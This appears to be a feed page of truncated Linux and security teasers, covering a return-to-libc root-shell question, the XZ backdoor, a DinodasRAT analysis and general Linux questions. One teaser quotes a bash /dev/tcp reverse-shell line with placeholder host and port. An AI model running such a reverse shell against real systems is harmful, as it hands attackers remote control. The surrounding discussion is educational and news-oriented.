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I am trying to do a returntolibc exploit. The goal is to gain a shell with root privilege by calling setuid(0) and then system("/bin/sh"). I have been agonizing over trying to get this thing to accept my payload, but bash keeps d… Continue reading Bash deletes null bytes in exploit input for ROP/returntolibc
Here’s a hot topic:
https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users
https://lwn.net/Articles/967180/
https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/
I’m not an expert i… Continue reading XZ compromise and consequences for people having used it
A vulnerability (CVE-2024-3094) in XZ Utils, the XZ format compression utilities included in most Linux distributions, may “enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely,” R… Continue reading Beware! Backdoor found in XZ utilities used by many Linux distros (CVE-2024-3094)
In June 2021, Microsoft announced Windows 11 with the type of virtual event that still felt weird in that not-quite post-pandemic world. But these are the moments I live for: My writing career started 30 years ago, it’s always centered on Windows and M… Continue reading Windows 10: It’s Like Riding a Bike (Premium)
In this article, we share our analysis of a recent version of the DinodasRAT implant for Linux, which may have been active since 2022. Continue reading DinodasRAT Linux implant targeting entities worldwide
Even though I don’t have SSH or OpenSSH installed on my machine, I noticed that I have the following directory ssh-XXXXXX2ivnoU in the tmp directory. Inside that directory is a file named agent.2640
What could be causing the creation of th… Continue reading MX Linux SSH folder in tmp directory [closed]
Android, the popular mobile phone OS, is essentially just Linux with a nice user interface layer covering it all up. In theory, it should be able to do anything a …read more Continue reading Webserver Runs on Android Phone
I am studying a reverse shell created by /dev/tcp.
When you create a tcp socket using /dev/tcp, it ends its connection immediately after
data is sent. But when you create a reverse shell by bash > /dev/tcp 0<&1, it keeps the tcp … Continue reading How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [closed]
These days, you can’t throw a USB stick without hitting something that’s running Linux. It might be a phone, an embedded device, or your TV. Either way, it’s running Linux, …read more Continue reading Galvanize Your Grip On Grep With This Great Grep Guide
If yes, can you please give me the commands for this, and which distro can do better in this context?
And can I format it as an external drive or can I format while I am using it as a host system?
Continue reading Can Linux effectively remove malware from an infected NVMe drive? [closed]